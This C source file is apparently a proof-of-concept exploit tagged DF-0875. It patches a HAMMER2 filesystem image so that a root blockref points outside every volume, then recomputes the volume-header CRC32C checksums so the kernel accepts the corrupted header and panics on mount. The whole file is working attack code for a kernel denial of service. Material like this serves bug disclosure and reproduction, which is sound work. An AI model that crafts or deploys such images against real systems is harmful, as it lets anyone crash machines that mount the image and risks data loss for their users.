/*
 * patch_image.c - Craft a malicious HAMMER2 image that triggers the
 * hammer2_get_volume panic (DF-0875).
 *
 * Patches sroot_blockset.blockref[0].data_off to point at an offset
 * outside all mounted volumes, then recomputes the three volume-header
 * CRC32C values (ICRC1 sector-1, ICRC0 sector-0, ICRCVH whole-block) so
 * the kernel accepts the corrupted header on mount.
 *
 * Build:  cc -O2 -o patch_image patch_image.c
 * Run:    ./patch_image <image-file>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <inttypes.h>

/* ---- CRC32C (Castagnoli), matching kernel iscsi_crc32() ---- */
static uint32_t crc32c_table[256];
static void init_crc32c(void) {
    for (uint32_t i = 0; i < 256; i++) {
        uint32_t crc = i;
        for (int j = 0; j < 8; j++)
            crc = (crc >> 1) ^ (0x82F63B78u & (uint32_t)(-(int32_t)(crc & 1)));
        crc32c_table[i] = crc;
    }
}
static uint32_t crc32c(const uint8_t *buf, size_t len) {
    uint32_t crc = 0xFFFFFFFFu;
    for (size_t i = 0; i < len; i++)
        crc = (crc >> 8) ^ crc32c_table[(crc ^ buf[i]) & 0xFF];
    return ~crc;
}

/* ---- HAMMER2 on-disk constants (from hammer2_disk.h) ---- */
#define H2_VOLUME_BYTES       65536
#define H2_ZONE_BYTES64       (2LL * 1024 * 1024 * 1024)
#define H2_NUM_VOLHDRS        4
#define H2_VOL_ICRC0_OFF      0
#define H2_VOL_ICRC0_SIZE     (512 - 4)   /* 508 */
#define H2_VOL_ICRC1_OFF      512
#define H2_VOL_ICRC1_SIZE     512
#define H2_VOL_ICRCVH_OFF     0
#define H2_VOL_ICRCVH_SIZE    (65536 - 4) /* 65532 */
#define H2_VOLUME_ID_HBO      0x48414d3205172011ULL
/* data_off layout within sroot_blockset.blockref[0]:
 *   blockset at volume offset 0x200; blockref is 128 bytes; data_off
 *   field is at byte 32 within a blockref => file offset 0x220 */
#define DATA_OFF_OFF          0x220

/* Out-of-range target: 0x004000000000000E
 *   high 58 bits = 0x0040000000000000 (1 PB) -- always outside any volume
 *   low 6 bits   = 0x0E (radix 14 => 16 KB block, non-zero so pbase!=0) */
#define BAD_DATA_OFF          0x004000000000000EULL

int main(int argc, char **argv) {
    if (argc < 2) {
        fprintf(stderr, "usage: %s <image>\n", argv[0]);
        return 2;
    }
    init_crc32c();

    int fd = open(argv[1], O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    uint8_t *buf = malloc(H2_VOLUME_BYTES);
    if (!buf) { perror("malloc"); return 1; }

    int patched = 0;
    for (int i = 0; i < H2_NUM_VOLHDRS; i++) {
        off_t off = (off_t)i * H2_ZONE_BYTES64;
        ssize_t r = pread(fd, buf, H2_VOLUME_BYTES, off);
        if (r != H2_VOLUME_BYTES) {
            fprintf(stderr, "copy %d @0x%llx: short read (%zd) - skip\n",
                    i, (unsigned long long)off, r);
            continue;
        }
        uint64_t magic;
        memcpy(&magic, buf, 8);
        if (magic != H2_VOLUME_ID_HBO) {
            fprintf(stderr, "copy %d @0x%llx: bad magic 0x%016" PRIx64 " - skip\n",
                    i, (unsigned long long)off, magic);
            continue;
        }

        uint64_t orig_data_off;
        memcpy(&orig_data_off, buf + DATA_OFF_OFF, 8);
        uint8_t btype = buf[0x200];
        fprintf(stderr, "copy %d @0x%llx: bref[0].type=%u data_off=0x%016" PRIx64 "\n",
                i, (unsigned long long)off, btype, orig_data_off);

        /* 1) corrupt data_off -> out-of-range offset, valid radix */
        uint64_t tmp = BAD_DATA_OFF;
        memcpy(buf + DATA_OFF_OFF, &tmp, 8);

        /* 2) ICRC1 over sector 1 [512..1023] -> icrc_sects[6] @0x1F8 */
        uint32_t crc1 = crc32c(buf + H2_VOL_ICRC1_OFF, H2_VOL_ICRC1_SIZE);
        memcpy(buf + 0x1E0 + 6 * 4, &crc1, 4);

        /* 3) ICRC0 over sector 0 [0..507] -> icrc_sects[7] @0x1FC
         *    (must run AFTER storing ICRC1, since icrc_sects[6]@0x1F8
         *     falls within the ICRC0-covered range) */
        uint32_t crc0 = crc32c(buf + H2_VOL_ICRC0_OFF, H2_VOL_ICRC0_SIZE);
        memcpy(buf + 0x1E0 + 7 * 4, &crc0, 4);

        /* 4) ICRCVH over whole block [0..65531] -> icrc_volheader @0xFFFC
         *    (must run AFTER storing ICRC0, since icrc_sects[7]@0x1FC
         *     falls within the ICRCVH-covered range) */
        uint32_t crcvh = crc32c(buf + H2_VOL_ICRCVH_OFF, H2_VOL_ICRCVH_SIZE);
        memcpy(buf + 0xFFFC, &crcvh, 4);

        if (pwrite(fd, buf, H2_VOLUME_BYTES, off) != H2_VOLUME_BYTES) {
            perror("pwrite"); continue;
        }
        fprintf(stderr, "copy %d: PATCHED data_off=0x%016" PRIx64
                " ICRC1=%08x ICRC0=%08x ICRCVH=%08x\n",
                i, tmp, crc1, crc0, crcvh);
        patched++;
    }
    free(buf);
    close(fd);
    fprintf(stderr, "patched %d volume-header copies\n", patched);
    return patched ? 0 : 1;
}
